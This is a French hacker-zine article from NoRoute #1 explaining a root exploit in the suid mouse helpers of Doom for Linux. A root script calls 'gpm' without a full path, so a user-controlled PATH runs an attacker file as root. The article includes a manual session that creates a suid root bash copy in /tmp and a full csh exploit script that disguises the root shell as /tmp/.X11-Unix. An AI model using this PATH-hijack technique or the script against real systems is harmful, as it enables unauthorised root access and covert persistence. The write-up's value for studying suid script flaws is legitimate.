------------------------------------------------------------------------------- NoRoute #1 ¦ Doom est un jeu formidable.. ¦ 4758 ¦ s0RC3Ry ¦ NoRoute #1 ------------------------------------------------------------------------------- DooMRewT ou pourquoi DOOM EST UN JEU FORMIDABLE Schblam! les monstres s'explosent sur le mur dans une giclee de sang.... =) Doom est un jeu terrible. Il est terrible car il est tres repandu sur le net pour un jeu tel que celui la : je l'ai trouve sur des IRIX (sgi) des SunOS (sun huh) des Linux bien sur... Ce jeu est d'autant plus formidable qu'il est livre avec linux par defaut et souvent installe par les admins =) L'autre formidabilite de ce jeu est qu'il a ete porte sous linux par des burnes totales en matiere de securite... Voili l'explication d'un exploit que j'ai decouvert recemment alors que j'executais des fichiers au pif sur ma box (vi, vous savez quand on s'emmerde on balaie le clavier de cd, ls, et on execute ce qui nous passe sous les yeux c'est un tic assez universel chez les unixiens). Explications [ Mais qu'est-ce qu'il raconte ? ] Doom utilise svgalib. Donc doom ne supporte pas gpm. Or gpm est installe par defaut sur toutes les stations linux utilisant la slackware. Donc doom doit killer gpm avant de se lancer et le remettre apres. Or gpm est un programme appartenant au root, donc doom doit etre suid pour killer gpm. Jusqu'ici tout allait bien, sauf que chez ID software, ils se sont dit "on va pas se souler a rajouter des lignes de code, on va faire deux programmes a part". Premiere petite erreur. Encore pire, ils avaient fume je pense, ces pauvres bougres se sont amuses a executer un script depuis un executable suid, mais alors un script digne de microsoft! Un code de merde, qui bien entendu a engage de ma part une contraction abdominale terrible suivie de hoquets bruyants devant mon ecran... Principe exact: Deux programmes: killmouse et startmouse. Ces deux programmes sont suid. Ils executent respectivement "as root" killmouse.sh et startmouse.sh, deux scripts shell... Lorsque killmouse.sh kill la mouse il installe dans /tmp un fichier nomme gpmkilled et qui permettra a startmouse de savoir que la mouse a bien ete killee =) Quel bordel huh =). Voici le source de startmouse.sh: if [ -r /tmp/gpmkilled ]; then /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript /bin/sh /tmp/gpmscript /bin/rm /tmp/gpmscript /tmp/gpmkilled fi explication: si le fichier /tmp/gpmkilled existe, alors on cherche la string qui execute gpm dans rc.local pour etre sur de pas se planter et on la copie dans un fichier /tmp/gpmscript. On execute ensuite ce fichier puis on retire les deux fichiers temporaires. Mais voila l'erreur... =) Ce programme, execute en tant que root, contient la chaine suivante: gpm -t ms & Ehehe, aucun chemin n'est specifie pour gpm. Or, dans ce cas, le systeme cherche au fil du $path le programme en question. Donc pour chopper un root, il suffit d'executer les commandes suivantes: becanne:~> touch /tmp/gpmkilled becanne:~> cp /bin/bash /tmp/suid_shell becanne:~> cat << END >> ~/gpm /bin/chown root.root /tmp/suid_shell /bin/chmod 04755 /tmp/suid_shell END becanne:~> chmod 755 ~/gpm becanne:~> set path = ~/ becanne:~> /usr/games/doom/startmouse gpm: already a gpm running, no process killed becanne:~> /tmp/suid_shell bash# En settant le path vers notre home et en creeant un ~/gpm, il sera execute comme root et vous pouvez donc y mettre ce que vous voulez.. Heureux ? =) voici donc le script qui va avec (qui fait ca tout seul huh) pour les faignants =)... Ps avant de partir (vi deja 3 articles ca fait beaucoup =) N'abusez pas de ce truk c'est illegal et c'est juste pour rire que je vous l'ai montre d'accord ? Si vous desirez en abuser chez moi demandez moi la permission a beigebox@mygale.org ........................Sorcery is powered by Linux. #!/bin/csh # Doom exploit by Sorcery / mj13 # Use it only on your system! # doomroot.sh (mode 755 =) # # File to remove if it fails: ~/gpm,/tmp/gpmkilled,/tmp/gpmscript,/tmp/.X11-Unix # Guy to great if it worx: beigebox@mygale.org (yeah, that's me ! :) ) # # FIX: rm -rf /usr/games/doom =) # cp /bin/bash /tmp/.X11-Unix touch /tmp/gpmkilled cat << EOF >> ~/gpm /bin/chown root.root /tmp/.X11-Unix /bin/chmod 4755 /tmp/.X11-Unix /bin/rm ~/gpm EOF chmod 755 ~/gpm set oldpath = ( $path ) set path = ~/ /usr/games/doom/startmouse >& /dev/null echo "\n This should happen now! =)" echo "/tmp/.X11-Unix is perhaps your paradise, guy!" echo " Found and Exploited by Sorcery\n" /usr/bin/sleep 2 # let's wait for gpm to finish his work... set path = ( $oldpath ) /tmp/.X11-Unix # End of doom exploit -Sorcery pour NoRoute #1-